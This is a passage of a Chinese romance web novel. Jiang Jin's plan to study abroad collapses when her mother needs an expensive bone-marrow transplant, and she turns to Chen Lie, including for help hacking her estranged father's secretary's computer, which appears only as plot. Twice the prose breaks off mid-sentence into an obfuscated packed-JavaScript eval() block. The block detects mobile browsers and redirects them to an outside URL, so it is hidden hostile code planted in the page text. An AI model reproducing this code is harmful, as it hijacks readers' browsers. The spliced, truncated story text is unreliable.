姜堇便把猫抱在怀里,耳朵里听见男生们在那边聊。听那意思,是陈列想成立一家自己的公司。 张潮笑道:“列哥翅膀硬了,要撇开我们单飞了。” 陈列挑了挑眉,把玩着手里的魔方:“不是那意思。我爸的情况你们也知道,我自己开家公司,盈亏自负,不连累任何人。” 张潮试探着问:“你爸的债,如果你手里这个程序融到资了……” 陈列摇摇头:“多少钱都还不清。他还在堵,就是个无底洞。” 张潮叹了口气:“那你就一直过这样的日子?” 陈列牵了牵嘴角,眼底却没丝毫笑意。 他们讨论了下陈列开公司的手续问题,陈列对着电脑去看自己所写的程序时,瞄一眼正跟猫玩的姜堇,问:“有兴趣看看么?” 姜堇抱着猫走过去,手托着猫的屁股。 姜堇的数学不错,物理却不是她的优势科目。那几年编程大热,姜堇也了解些皮毛,她站在陈列背后看了会儿,看懂个粗略的大概。 一个男生扶着陈列的电脑椅背:“孟娜那个智性恋,要是知道列哥写出这么吊的程序,一定又疯……” 张潮用胳膊肘搡他一下。 男生后知后觉地看一眼姜堇:“我没别的意思啊。就是咱列哥,长成这样脑瓜子又好使,以前学校不知多少女生追他,客观事实嘛。” 他伸手在陈列肩头捶一下:“不过,也没见列哥搭理过谁。” 陈列望着电脑屏幕,手指时不时飞速地在键盘上敲击一阵。 姜堇好似直到这时,才对过去那个陈列有了实感—— 意气风发的,众星捧月的,傲到也许令某些人生厌、又令另一些人艳羡的。 他是那样的少年,在不少人的记忆中站成孤孑又不可攀的模样。 陈列忙完了自己的事,和姜堇一同先离开。 其中一个男生开刚才那辆大众送他们,另两个留下讨论些编程上的事。 直到下了车,陈列对着出租屋的楼栋扬了扬下巴:“上去吧。” 姜堇:“你怎么回去?” “走回去。”陈列:“也没多远。” 他走出一截后,姜堇在身后叫他:“陈列。” 陈列转回身来。 姜堇:“你今晚为什么带我过去?” 陈列先是低了下头,昏茫的路灯下他好似在笑,又好似没有,晕黄的光圈让一切提前罩上了某种旧而模糊的滤镜,姜堇日后回忆起这段日子来,时时有这样的感觉。 陈列远远地望着姜堇说:“你认识我一遭。” “我也算,把所有的自己都给你看过了。” 40. 遗憾 姜堇搬到这出租屋后,夜里不大睡得着。 习惯了船舱时时随着河面轻微摆荡,出租屋里的这种平稳感,反而让身体不适应。 姜堇洗过澡,靠在床头,翻开那本从高考前开始看的《夜色温柔》。 抽出她同陈列的那张大头贴合照——从前的书签丢了,她把这张照片当书签用。 拿起来看了看,照片天天在书页里夹着,边缘竟有些褪色模糊起来。 照片上陈列难得笑着,她也是。 那时她的笑是否出自真心?亦或是一以贯之的某种伪装? 姜堇放下照片,拿起手机对着前置摄像头。 屏幕里的她一脸清冷,那般五官甚至让姜堇觉得,这样真实的自己是从来不会笑的。 她分开食指和中指,分别把自己的两边唇角往上拎,拎成一个笑模样。 良久,她又把手放下来,继续去看手中的书。 白柳絮昨天提过一嘴想吃桃子,今天陈列便来送了趟。 姜堇从自己房间里走出来迎他,冲他一点头:“来了。” 陈列远远朝她身后望去。 半掩的门扉里,一个硕大的行李箱打开来,抵墙放着,里面的东西尚且凌乱。 陈列的目光顿了顿——姜堇开始收拾出国的东西了。 他其实并不去计算时间,心里对姜堇多久要走这件事也没概念。 只是看到这行李箱的一瞬,他明白—— 姜堇是要走了。 一个月的好梦终究要到期。 陪白柳絮吃完饭,阿姨过来照看白柳絮,姜堇同陈列一同下楼。 陈列:“你要出门?” 姜堇点头:“我想去买瓶香水。” 姜堇自己从未买过奢侈品。 而臭水河边其实终年弥散着淡淡腐朽的气息,夏季尤甚。姜堇对那种味道厌恶至极,好似陷住她的泥沼化为无形包裹过来。 她做家教攒了一些钱,除了给白柳絮交医药费外,她想给自己买瓶香水。 一瓶香水,是她对过往生活的彻底告别。 她以为陈列不会接她的话,没想到陈列沉默一瞬,开口:“我和你一起去。” 陈列事后回忆起自己陪姜堇买香水的行为,想过自己为什么要那么做—— 好像在亲手拿刀剜一块腐烂的伤口,因为知道它会越烂越深、一路蔓延到心脏。 倒不如现在痛个彻底,好似才能彻底把它清除。 两人一同乘上公交车。 江城这过分繁华的CBD,陈列以前也同姜堇一起来过。那时他给姜堇买了双限量版的鞋,尚是隆冬时间,满街枝头都有闪耀的圣诞妆点。 转眼已是盛夏,那些闪耀的玻璃球早已撤了下来,杉树和梧桐晃着阳光光斑,奢侈品柜台华丽的香氛味道传来,好似这里连阳光也比别处更明亮、更通透、更带某种难以企及的傲慢。 这一次,姜堇和陈列没再穿校服了。 姜堇穿上次那条看不出品牌的白色长裙,她气质极佳,长长的乌发披在肩头,挺立的颈项宛若天鹅。 陈列穿黑T,跟在她身边。 姜堇走近柜台,柜姐上下打量着扫她一眼,不咸不淡地开始介绍。 姜堇语气比她更淡:“我自己挑吧。” 柜姐转身走了,也没给姜堇扩香条。姜堇把试用装香水喷在自己细瘦的腕子上,避开陈列送她那条细细的链子,抬腕嗅了嗅。 之后又试了两三款,喷在小臂的不同位置。 尾调的香味氤氲在空气里混成一团。 姜堇问陈列:“闻出什么了?” 陈列皱着眉摇头。 姜堇笑,拿起其中一款去找柜姐付款。柜姐调出付款码,望向陈列——出于职业习惯,她默认是陪女朋友前来的男朋友买单。 姜堇:“我自己买。” 柜姐挑了下眉,又把付款码转向姜堇。 陈列并没有抢着买单。 两人好似有某种心照不宣地默契:姜堇这一与过去的告别仪式,要由姜堇自己完成。 走出专柜,姜堇扬扬手里的纸袋:“其实不管这款是什么味道,我都会买这款。” “?”陈列问:“为什么?” 姜堇笑了笑:“前调黑加仑和肉桂、公丁香相融,变成辛香味的果香。” “中调混合广藿,药感玫瑰的存在明显,焚香味也恰到好处不会令人生厌。” “尾调带一点酸,麝香几乎融在玫瑰里,带有香脂特有的圆润。” 她背着网上看来的这段话,笑意在脸上一点点淡褪:“有人说,喷它的女人闻起来有种充满权势的华贵感。” “我想闻闻看,女人的权势,到底是种什么味道。” 很久以后陈列回忆起姜堇那时的眼神,冷冽、平静、甚至带着某种惭愧。 如果他神经更敏锐一点的话,他是否从那时就该意识到,这样的姜堇注定和他分道扬镳? 两人走了一阵,姜堇的目光忽地锁在某奢侈品柜台前,定住。 陈列循着她视线望过去。 那是一名年轻的贵妇,看起来三十岁上下,也可能因为保养得宜掩盖了她的实际年龄。因为她身边已跟着个十岁出头的女孩,看上去是她女儿。 她推着一辆婴儿车,应该是她的第二个孩子,在问询一款面霜,柜姐笑意殷勤。 女人长相算是婉丽,但并不出挑。正当陈列疑惑姜堇为什么要盯着她看时,注意到旁边还有个中年男人,正接一通电话。 看上去是女人的丈夫。 陈列看看姜堇,瞬时明白了过来—— 姜堇的五官几乎与白柳絮是一个模子刻出来的,唯独眉眼不大相同。白柳絮的眼型更媚而上挑,姜堇的眼睛却更偏冷调。 更像柜台边那个中年男人。 姜堇唇角嘲讽地挑起来:“没错,他姓姜。” “没遇到你的时候,我打算拿亲子鉴定去找他勒索出国的那笔钱。” 她对自己用词极狠——勒索。 说完这句后,她掉头就走,纤细的手指把那香水袋子攥得极紧。 陈列看着她背影,她刚才在看到生父以前、几乎是一眼认出了生父的妻子,那让陈列意识到一件事—— 姜堇去偷看过很多次。 她也许是乘公交车去那富人别墅区,看她的生父如何与另一个家庭父慈子孝、和乐融融。 陈列想起他尾随舅舅、去偷看舅舅生活的那一次。 他和姜堇都同样可怜。 他追上姜堇,点一下姜堇的肩,问:“吃冰淇淋么?” 姜堇绷着脸往前走:“这里什么东西都很贵,一个单球的冰淇淋要五十块。” “我知道。”陈列说:“我知道很贵。” 姜堇停下脚步来。 她竟叹了一口气。 便是那一口气让陈列意识到——无论她多么生机勃勃地在泥泞生活里拼命挣扎,其实她有着很多的无可奈何。 姜堇终是说:“走吧。” 除了用一球冰淇淋宽慰自己,她又能对眼下这种生活做什么呢? 陈列随她往冰淇淋柜台走去。 “姜堇?”一道欢快的语调喊道,接着又确认一遍似的:“姜堇!” 陈列的反应比姜堇更快,快速往旁边的柜台闪身,掩没入人群中。 姜堇抬眼,见杜珉珉向她跑来,身后跟着的中年夫妇,应该是杜珉珉的父母。 杜珉珉一把挽住姜堇的胳膊:“想不到在这里碰上你了!你还没出国呀?” 又对着身后的父母喊:“这是我最好的朋友!姜堇。” 杜珉珉的父母看起来都很和善,杜父笑问:“你父母在哪里高就?” 姜堇的唇瓣嗫嚅了一下。 杜珉珉朝她父母一挥手:“姜堇爸妈的集团在毛里求斯啦,跟你们不是一个圈子的。” 她问姜堇:“你是来吃冰淇淋的吗?” 姜堇:“嗯。” 杜珉珉赶她父母:“你们先去逛街吧,我不陪你们啦,我要跟姜堇吃冰淇淋。” 两人去柜台点单,杜珉珉要覆盆子和开心果,姜堇要单球香草。 姜堇主动买了单。 杜珉珉这种家境的女孩子,不会把百来块钱放在心上,提也没提要给姜堇前。 两人坐在明亮洁净的卡座里,吃着两客冰淇淋球。 杜珉珉晃着腿:“高考之后,除了散伙饭和填志愿那天,我竟一个同学也没见过,大家好像都蒸发了一样。姜堇你遇到过哪个同学吗?” 姜堇笑着摇摇头。 杜珉珉又晃一下腿,舔了舔冰淇淋勺子,这才开口问:“你那天……帮我把信给陈列了吗?” 姜堇:“给了。” 杜珉珉摸摸自己的耳朵:“那他……说什么没有?” 姜堇摇摇头。 杜珉珉反而笑了下:“我猜也是啦。” 她望着冰淇淋柜台的眼就有些失神。 有那么一瞬间,姜堇其实担心她会哭出来。 想不到她看着那些五彩斑斓的冰淇淋碗,声音放空又放轻:“那我终于可以说啦,姜堇我跟你说哦,我那时候真的——” 她说着咧了咧嘴角:“真的好喜欢、好喜欢陈列哦。” 姜堇看向杜珉珉。 她必须承认,在这一刻,她对杜珉珉的嫉妒又超过了羡慕。 怎么会有这样的女孩子呢? 怎么会这样毫无保留的、不怕受伤的喜欢一个人呢? 甚至不要回报,因为自小已收到过足够多的爱、拥有足够多的底气。 与杜珉珉的这两客冰淇淋吃了一个小时。 告别的时候杜珉珉拥抱姜堇:“出国以后要常跟我联系呀!别忘了我呀!” 姜堇笑着与她告别后,走出商场掏出手机,删除了杜珉珉所有的联系方式。 面无表情地拎着自己的香水往前走去。 陈列估计早已走了,姜堇自己乘公交车回家。 洗完澡,她裹着浴巾把盥洗镜蒙的薄薄一层水汽擦干,望着镜中自己清寒的一张脸。 唇瓣轻翕了翕:“喜……” 她甚至说不出喜欢两个字来。 再见陈列是两天后,姜堇出国前的倒数第三天。 姜堇白天去了趟医院,与白柳絮的主治医生商谈。 姜堇:“她现在渐渐又好像认不出我了。” 医生点头:“这很正常,她这样的情况大多是终身住院的。有这么段清醒的时间,已经很难得了。” 晚上她回家给白柳絮做饭时,有人敲门。 陈列走进来,看着姜堇背对着他在水槽边忙碌。 姜堇:“过来吃饭怎么不提前说一声?” 陈列:“免得你多备菜。” 他走过去洗手:“有什么要我弄的?” 姜堇递两只土豆给他:“洗干净,切了。” “切块切丝?” “切丝。” 她让开水槽给陈列,陈列看一眼她侧脸。 本该是无意的一眼,陈列却拉住她手腕,皱眉又看一眼。 嘴里问:“她打你了?” 姜堇:“嗯。”又笑一笑。 白柳絮的情况时好时坏,有时又开始把姜堇当作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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带上门去客厅时,陈列刚好回来了。 外面风雨倾盆,他撑把伞根本不顶用,身上湿了大半。他手里拎着个塑料袋子,里面装着毛巾、牙刷和一次性内裤。 姜堇看他一眼:“你先去洗澡吧。” 陈列:“嗯。” 陈列洗完澡出来,客厅里没人,看到姜堇卧室的门半掩着,露出一线暖黄的光。 他站在外面敲了敲门。 姜堇叫他:“进来。” 他走进去,姜堇已把那张小小单人床上换了干净的床单枕套,依旧是清新的格纹。 姜堇:“你睡我房间,我睡沙发,不然我妈起夜不方便。” 陈列看着她把枕头放好:“其实不用换,我没那么讲究。” 姜堇直起腰来看他一眼。 陈列后知后觉自己这话说的有问题——他不在意,姜堇还在意呢。姜堇睡过的床单枕套,处处都裹着她皮肤的香气。 陈列默默闭嘴缄口不言了。 姜堇让他休息,替他关上门,自己去洗澡。 陈列仰躺在床上,两手交叠枕在脑后,望着天花板。 两居室的出租屋并不大,浴室里哗哗的水声传来。 直到那水声停了,一阵拖鞋沓沓的声音。 姜堇在外面很轻地敲了下门,问:“睡了么?” 陈列:“没有。” 姜堇进来的时候,陈列从床上坐起来。 姜堇手里拿着液体驱蚊器:“这里靠近河,蚊子多。我房里那个驱蚊器药水没了,你用这个。” 陈列点点头:“好。” 姜堇准备出去,陈列叫住她:“姜堇。” “嗯?” “什么时候走?” 姜堇有些意外,她以为她和陈列之间永远都不会谈这个问题。 她回答陈列:“三天后。” 陈列又问:“还回来么?” 不知为何他心里有种感觉,姜堇这一走,就再也不会回来了。 姜堇原本垂眸看着床单的褶皱,这时抬眸看进陈列沉黑的瞳:“不回来了。老实说,这地方我一天都不想回来了。” 白柳絮又会渐渐认不出她,甚至每每她的出现还会刺激白柳絮的情绪。 她所能做的不过是定期给白柳絮交医药费,以及等她有能力之后,把白柳絮转到更好的医院。 陈列:“你只有二十万,知道要出国站稳脚跟、会吃很多苦么?” 姜堇挑了挑唇:“难道在一艘破船里的生活,还不够吃苦么?” 陈列点点头:“那我就不去送你了。” 姜堇看着他。 陈列:“剩下的三天,我也不过来了。” 他掏出手机,点进通讯录,本想当着姜堇的面把姜堇拉黑。 手指悬空在屏幕上良久,他终是自嘲地笑笑:“我就不用把你拉黑了吧,就算我什么时候喝多了拨过去,应该也是空号,你会换号码的。” 姜堇轻轻地呼吸着。 陈列语调犹然淡漠而平静:“去休息吧。” 外面雨声如注,打在芭蕉叶上的毕剥声传来,有世界将要倾覆之感。闪电后跟着一声惊雷,甚至床头插着台灯的光都跟着摇晃了下。 姜堇纤细的手搭上门把手。 陈列阖了阖眼,知道这是两人之间的最后一面了。 轻轻“嗑哒”一声。 陈列睁眼,发现姜堇锁上了卧室的门。 转而看着他问:“不是要不留遗憾吗,陈列?” 勾着他的后颈,对着他的唇角吻了下来。 41. 招惹 攒了整个夏天的一场暴雨,让姜堇的吻也带上了某种潮气。 她柔软的手臂藤蔓般勾着陈列的后颈,吻让人想起梅雨季里湿漉漉的苔藓,刮得人喉头心间都在发痒。 陈列一手撑着床沿坐着,本是推拒之势,呼吸却急促变调。本想推开姜堇的那只手变做在姜堇后腰一挽,姜堇顺势倒在床上,乌浓的发铺了一枕。 陈列俯看着她,神情其实很凶,像只野兽:“现在还要招惹我?” 白柳絮就在隔壁,出租屋薄薄的墙板并不隔音。他们的动作其实很轻,只有轻蹭床单的窸窣声,陈列的问话像是闷在喉咙里发出来的。 姜堇仰望着陈列。 她从不怕他,伸手去抚陈列因接吻而湿漉漉的唇角。 陈列偏开头:“你招惹我,准备怎么收场?” 姜堇伸手拉开床头柜抽屉,摸出一个薄薄的银色包装,嘴里轻轻地说:“陈列,我不想留遗憾。” 陈列几乎是冷笑了声,低头吻她的姿态近乎凶狠,逼着她仰起下巴来只能剧烈地承受。她唇形偏小,被动地张着,感受他唇舌伴着强烈的荷尔蒙气息灌进来。 姜堇本想溢出喉咙的声音,又被这个吻堵着咽了回去,以至于她身体内有什么在膨胀、在汹涌、在变形。 她双眼虚张着口齿不清地叫:“陈列。” 窗外的雷声好似没有明天。 陈列暂停吻她,望向她的双眸近乎失控的发红:“你解决你的遗憾了,那我呢?” 陈列终于明了:谈什么不留遗憾呢? 姜堇的离开,对他本来就是一种无解的遗憾。 他亲手把她托上天,眼看着她越飞越高。 姜堇望着陈列,睫毛很轻地颤着。 陈列咬着后牙根说:“我不要你,不要你因此记得我,这样我也许可以忘了你。” 姜堇的睫毛又是一颤,伸手探向陈列睡裤松垮垮的带子。 “那么,”姜堇始终望着陈列,像要看进他黑瞳的最深处去:“至少……” 随着她动作,陈列却本能一躲。 他躬起的背脊像豹,让人想起站在校园走廊里那名豹一般的少年。姜堇注视着他的反应,却没停下来。 他睁开眼,低声唤她的名字:“姜堇。” 那一声警告意味很浓。 姜堇却并没有害怕,望着他,只是望着他。 陈列压着下巴,黑眸垂沉。这时白柳絮在隔壁房间翻了个身,传来一声轻咳。陈列在最终的理智丧失以前,凭着不知哪里涌现的果决,一把攥住姜堇细瘦的手腕。 “够了……”他极深地呼吸着,声音压得很低:“就到这里。” 他那句话的语调像是说:我们的牵连,就到这里。 姜堇阖了阖眸子,把自己的手从他手里抽出来,翻身下床,走出房间时替陈列关上门。 她进洗手间去洗手,清水冲刷下来,她望着镜中的自己。 头发散乱着,眼底水光未散,双唇发肿。 她咬一咬自己的下唇,垂下睫毛去,拧上水龙头。 她几乎很难相信——刚刚陈列近乎失守、要把自己交付给她的那个瞬间,她看着陈列失神的双眼,在陈列喉管里发出闷声时。 那一刻她想脱口而出的话竟是:“陈列,我不想走了。” 要不是窗外恰逢一声惊雷,她这句话几乎就要出口了。 她不想走了。 想留在妈妈身边。 想留在陈列身边。 指望有什么人能护着自己是过分天真的想法。可为什么她的人生不能天真一次呢?又要投身到船舱般晃荡的新生活里去抢去争,她觉得好累。 为什么她不能要一间小小的卧室就好?在狂风骤雨的天气里,亮着一站暖黄的光。 可是她又问自己:姜堇,你是这样的人么? 这一夜出乎姜堇意料之外的平静。 风雨渐渐止息,而白柳絮甚至没有像往常一般起夜。 她买的窗帘太轻薄,将近清晨五点的时候,她感到天渐渐亮了。次卧的门是在这时响起的,陈列出门的动作很轻,或许看了她一眼,或许没有。 她把自己裹在毯子里,只露出一点发尖。 陈列在玄关换鞋时,她在毯子里紧紧攥着手指,在心里问自己:姜阿堇,你到底是什么样的人? 她至始至终没有出声去唤陈列,直到陈列离开,她从沙发上起身。 把薄毯折好,又进洗手间去洗漱,这才走进次卧里去。 床头柜上有张银行卡,压着一张作业本上撕下的字条,陈列用水性笔写的一行字落拓不羁: 「两万。密码还是以前那个。」 姜堇抿一抿唇,把那张银行卡放进抽屉。 白柳絮起床后又变得认不出她,回医院的事拖不得了。她打电话把每每照顾白柳絮的阿姨叫过来,打了辆车,自己坐在副驾,让阿姨在后排安抚白柳絮的情绪。 司机有些不满,嘀咕着道:“精神病哦?怎么不叫救护车。” 姜堇的目光冷冷扫过去。 清丽瘦削的年轻女孩,目光却如霜如剑。 司机甚至被她目光所慑,默默不说话了。 回到医院,姜堇去帮白柳絮办入院手续。白柳絮入院前还要重新再做体检,由阿姨陪着白柳絮。 姜堇趴在护士站前准备签字时,握着那支线圈牵着的水性笔,在写下“姜”字第一笔的那个点后,笔尖顿了下。 姜堇扭头,望向窗外的那片浓荫。 就到这里了? 她拼命想要挣脱的旧生活? 暴雨洗过的阳光更为炽烈,从窗口钻进来刺着她的眼。她想起自己昨晚在柔和的台灯下,几乎要脱口而出的那句: “陈列,我不想走。” 她收回眼神,盯着“家属签字”那一栏的空白,那里暂且只有她写下的“点”一道比划。 就到这里了? 她和陈列的一切? 姜堇浅浅地呼吸着,无论内心多不想承认,无论日后多么想抹煞,她知道自己在这一瞬犹豫过。 她说不出她喜欢陈列这样的话。 可这一刻她犹豫过。 正当姜堇提笔犹豫间,口袋里的手机响了。 她掏出来看了一眼,接起:“喂?” 阿姨的声音焦急传来:“姜堇啊,你快过来一下。” 姜堇放下笔,站起来,对着入院签署单上独独落下的“点”那一个笔画最后看了眼,匆匆向电梯跑去。 - 后来的记忆有点模糊,因为场面十分混乱。 白柳絮看见她的时候情绪又莫名开始激动,指着她或者说指着过去的自己破口大骂,满脸涨红颈部青筋凸起,后来是护士过来打了安定针,整个人才恹恹下去。 姜堇记得自己进了医生的办公室。 记得医生拿着她妈的CT影像报告,蹙起的眉似姜堇以前看过的远古纪录片里、某种长相诡谲的花骨朵。 记得她盯着医生不停晃动的蓝口罩,那意味着医生的嘴在口罩后不停开合,姜堇想象那样的动作像一条被抛到岸上的鱼。 可医生不是被抛到岸上的鱼。 她才是被抛到岸上的鱼。 她听见自己的声音在向医生问询,平静地:“那么这种异基因骨髓移植的手术,需要多少钱?” “五十万左右吧,如果你的造血干细胞和你母亲全相合,费用能稍低一些,但也低不了多少。”医生提醒:“你赶紧去抽血做检查,手术难度高,全江城能做的医生也没几个,要赶紧排期。” 姜堇也还记得细细的抽血针扎进她血管。 戴口罩的年轻护士略有些诧异地看她一眼。因为抽血时人往往本能地回避视线,但这小姑娘不知怎地,一直死死地盯着瞧。 姜堇只是在看:真奇怪,针到底扎进去没有?她怎么一点也没感觉到疼呢? 拿到结果的那天,姜堇作为亲缘供者,造血干细胞和白柳絮是半相合,手术费用的五十万一分不会少。如果术后出现排斥性反应,费用还会相应增加。 姜堇站在医院门口,抬头望一眼悬日,惨白白的,看上去没有一点血色。 姜堇先是回了趟出租屋,因为刚刚接到房东的电话。 房东是个中气十足的阿姨,姜堇回去的时候,她正站在门口拎一串钥匙抱着双臂,嘴唇也不知是不是因为刚吃过五花肉而泛着油光。 斜眼睨着姜堇,粗声粗气道:“不是说好今天搬走吗?我下一任租客都要搬进来了,你东西还放在这里干什么?当钉子户啊?” 姜堇没什么与她对骂的心情,只在她喋喋不休的谩骂中走进屋里去。 大部分东西该清理的清理、该收回船舱的收回船舱、该送到医院的送到医院,只剩她准备出国的那只硕大箱子还没搬走。 她沉默地把箱子拖出来。 那箱子真的太大了,显得她肩膀那般薄削。 出租屋没有电梯。女人看着这个年轻而单薄的女孩,拖着大到过分的箱子,一阶阶楼梯往下移。 她固然是不可能拎动那箱子的,只双手拖着那把手,每下一阶,箱子随之坠落发出巨大的“轰”地一声。为什么箱子会那样重呢?好像里面装满她的整个人生。 她紧抿着唇,面无表情,好像一点不在意把那箱子拖坏似的。 女人忽然就有点骂不出来了。 姜堇拖着那只箱子到路边打了辆车,司机帮她费劲地把箱子塞进后备箱,跟她说:“你这得加钱,这么死沉死沉的,费我多少油?” 姜堇盯着他开合的嘴,听他说出那个刺耳的“死”字。 下了车,姜堇一路把箱子往河畔拖,远远看见她住过多年的那条旧船。 多可笑,她一度曾冒出过分浪漫的想法——等她离开的那一天,她要放开那早已腐朽不堪的缰绳,让这条旧船自由地飘荡、飘荡,载着她过往的一切,消弭在河的深处。 再没有人记得她。 再没有记得臭水河畔这个以野花为名的女孩,到那时,她就可以脱胎换骨。 可现在,现实给她的这一巴掌可真够响亮的。 陈列从船舱出来站到甲板上时,远远望见那是姜堇。 他不置信地又望了一眼,甚至掏出手机看了看日期——没错,今天是姜堇出国的日子。 她不是应该在机场吗? 不是应该远远飞向大洋彼岸、看着光鲜亮丽的新生活在她面前徐徐铺展吗? 可是现在,她拖着准备出国的那只硕大箱子。那是一种赌气的拖法,轮子不知何时已经坏了,她双手死死拽着把手,任那箱子的下沿在泥地不断摩擦。 终于,那箱子不堪重负似的,砰地一下散开来。 里面的白裙子洒落在赃污的泥地上。 姜堇动作有些顿滞似的,站两秒,才蹲下身去,也没伸手去捡,就蹲着看着那些白裙子。 陈列也看着那些白裙子,那样的白在阳光下近乎刺目。 姜堇以前不穿白裙子,她在拳馆只穿灼灼燃烧的红,那样烈焰一般的色彩似要烧伤自己也烧伤他人。只有当她知道自己终有了出国的机会时,她才开始穿白。 好像未来还有机会,白纸一样在她面前铺展。 陈列朝姜堇跑过去,一拉她胳膊:“你怎么回事?” 明明是盛夏天气,她的皮肤却苍白而发凉,似在冰湖下浸过很久似的。 她分明那样瘦,此时身体却沉坠坠的,陈列这一下竟没拉起她来。 她蹲在地上仰头看了陈列一眼。 陈列蹙着眉、刚要再问一遍她怎么了,她却忽地站了起来,掉头就走,全然不管那散落一地的行李箱。 “姜堇。” 她头也不回。 “姜阿堇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568735|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”陈列本想先帮她收起行李箱,看她这副模样,还是先朝她背影追去。 姜堇丝毫不理陈列,一路走,一路走,一直往城中村的方向走去。 陈列也不叫她了,沉默跟在她身后,一直跟着。 进了城中村的菜市,姜堇环视一圈,眼底露出些迷茫。 陈列问:“你要买什么?” 她也不答,目光锁定了一处,走过去。 陈列跟过去,发现那是一处鱼摊。 姜堇今天也穿一条白裙,浑然不觉脏似的,直接抱着膝盖在鱼摊对面的路沿坐下。她旁边就是几个挑着竹篓卖小菜的,奇怪地看她一眼,还有路过买菜的行人,也纷纷看她。 她浑然不觉,目光直直地盯着对面鱼摊。 “你在看什么?”陈列走到她身边,坐下。 她仍是不答。陈列循着她目光看过去,对面一名主妇大概今日家里请客,脸上神情喜洋洋的,挑了条几斤重的草鱼,让老板帮她捞出来。 老板问:“杀不杀?” 主妇:“杀!” 老板便拽着鱼尾用力往地上一掼。那样大的鱼,生命力却极旺盛,这一下没有昏死过去,睁着双死鱼眼,鱼嘴一张一合。 旁边污水横流,腥气弥散,陈列心里涌出一种老大不舒服的感觉。 姜堇还那样直勾勾地盯着。 陈列受不了了,又叫她一声:“阿堇。” 姜堇这时开口:“你看我像不像那条鱼?” “什么?” 姜堇扯起唇角来:“我妈入院的时候做全面体检,查出免疫系统很严重的漏洞,她常年吃药身体本就不好,这一个月里病程发展太快,要做骨髓移植手术。” 旁边城中村的居民路过,彼此都熟,扬声用方言打着招呼: “吃晨饭了伐?” “喔唷中午烧排骨呀?” 这样的日常中,姜堇挑着唇角笑得嘲讽。 陈列问:“为什么不告诉我?” 姜堇扭过头来看他,素来清冷平沉的声音,此时有些破音:“告诉你有用吗?” 她这句话说得刻薄。 陈列抿了抿嘴角,沉默着并没反驳。 是,他俩都是泥泞中挣扎求生的人,自身都难保,任何状况都会成为压死他们的最后一根稻草。 姜堇站起来就走。 陈列追过去,抓住她细瘦的腕子,短短三两日功夫,她好像又瘦了一圈。 陈列攥着她手腕,却觉得掌心里都是空的:“我来想办法。” 姜堇盯着他的眼:“你想什么办法?” 他的程序刚卖了二十万,远不够手术费用。他自己的公司刚刚成立起来,下一个程序还只是雏形。 可他看着姜堇,十分肯定地说:“我来想办法,哪怕先找我以前那些合伙人借。” 姜堇仍盯着他:“借了就要还,对吗?” 姜堇说:“手术费用五十万,还有后期更为庞杂的医疗费,我妈没医保,上百万的钱都要我自己拿。我没法出国,今年也没报志愿,留在这里复读一年,明年上个本地大学照顾我妈。” “就算我一天打三份工,就算我一毕业就还是工作还债,以现在的就业环境,这些钱我要还到什么时候?” 陈列:“我来想办法。我的新程序……” 姜堇缓缓摇头:“陈列你不明白,这钱不该我拿也不该我拿。为什么我们的人生要为父母陪葬?” 她说:“我爱我妈,我也恨我妈。也许比起爱她我更恨她,恨她为什么生下我又把我抛进这样的情况里。可我不能叫她死,她死了,我……就是一个人了。” 她苍凉而苍白的笑了:“那样我两手空空,什么都没有。” 她继续往前走去,陈列一路跟着她。看着她往臭水河的方向走,一路往自己的旧船。 陈列跟着跃上甲板。 “你以为我要做什么?”姜堇已恢复了面无表情,一种令人发怵的平静:“你放心,我不会发疯。我会去找姓姜的要这笔钱,他种下的因,果也应该他来偿。” - 陈列这几日哪里都没去。 姜堇两天没出船舱门,他就每天守在自己的船上,到了饭点,做点饭给姜堇送过去,放到舱门口敲一下门,转身离去。 过一阵子他去看,姜堇已经吃完,把空掉的碗碟放到门口。 她并没有绝食。 到第三天深夜,姜堇过来敲他的船舱门。 陈列开门,看她怀里抱着台笔记本电脑。 她一脸平静地走进来,头发看起来两天没洗,扎着的马尾有些油腻。她明明每天都在吃饭,却依然继续地瘦了下去,身体似个黑洞般耗光了所有的能量。 她盘腿坐在矮桌边,打开笔记本电脑,叫陈列:“过来。” 陈列都不知她何时买的笔记本电脑,过去坐到她身边。 打开的电脑上是个粗浅的小程序。 姜堇:“笔记本电脑是二手的,很便宜,看到你会编程后买的。” 陈列明白过来。 这就像姜堇处心积虑学会弹钢琴一样。她像一块海绵,接触到的周遭都被她拼命吸纳学习、不声不响,不知哪种技能会成为她命悬一刻之际、保命的那件武器。 姜堇:“我想远程黑进姜启川秘书的私人电脑,查一查姜启川最近的行程,但我目前还做不到。” 她望着陈列。陈列知道他只要说一个“不”字,以姜堇的性格,一定抱起电脑就走。 陈列的眼半垂下去。 终于,他转过笔记本电脑面向着自己,手指在键盘快速地敲击起来。 为什么要拒绝呢?他们早已成为了春夜里的“共犯”不是吗? 随着夏夜的风拂动着船舱轻晃,姜堇凑近陈列的耳边。 “陈列,你敲键盘的样子挺帅的。”她这样说着,声音冷冽而蛊惑。 42. “不好意思” 那日黄昏,陈列站在甲板上抽烟。 一手插在裤子口袋,好似他这样站了许久,也将这样无限地站下去。夕照铺满河面,显得这条满是垃圾的臭水河,也染了某种近乎凄凉的美感。 这几日他好像经常这样站着,望着姜堇船舱的方向,那生锈的铁门始终紧闭着。 以至于那门发出咯吱一声锈响时,他几乎以为是自己站得太久而产生了幻觉。 姜堇从里面出来。 陈列将抽了一半的烟夹在指间,目光顿住。 姜堇穿一条在拳馆穿过的红裙,裙摆极短,露出雪白的大腿根。老实说那条裙子有些暴露,她在外罩一件黑色的衬衫,玫瑰开到极艳处即将凋零的那种黑,配那条火焰般灼灼燃烧的红裙,近乎是一种中世纪献祭式的美感。 她的妆虽不似在拳馆那般艳丽,却也极浓。一张凄艳的红唇,配浓黑的眼线,长而直的乌发铺满肩头,挡住小半张面孔。 